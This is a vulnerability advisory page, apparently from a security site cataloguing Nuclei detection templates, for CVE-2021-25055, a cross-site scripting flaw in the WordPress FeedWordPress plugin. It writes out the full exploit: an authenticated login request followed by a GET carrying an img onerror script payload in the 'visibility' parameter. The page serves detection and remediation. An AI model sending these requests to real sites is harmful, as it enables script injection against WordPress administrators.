🔙 목록으로 돌아가기

CVE-2021-25055: WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting

TitleWordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting
AuthorDhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.
RemediationUpdate to the latest version of the FeedWordPress plugin (version 2022.0123 or higher) to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.01696
CVE IDCVE-2021-25055
CWE IDCWE-79
Tags cve2021 cve wordpress xss wp-plugin authenticated wpscan feedwordpress_project vuln

🔍 Vulnerability Description

The plugin is affected by a cross-site scripting vulnerability within the “visibility” parameter.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=AhrvRk&pwd=yV2mvv&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25055.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25055.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A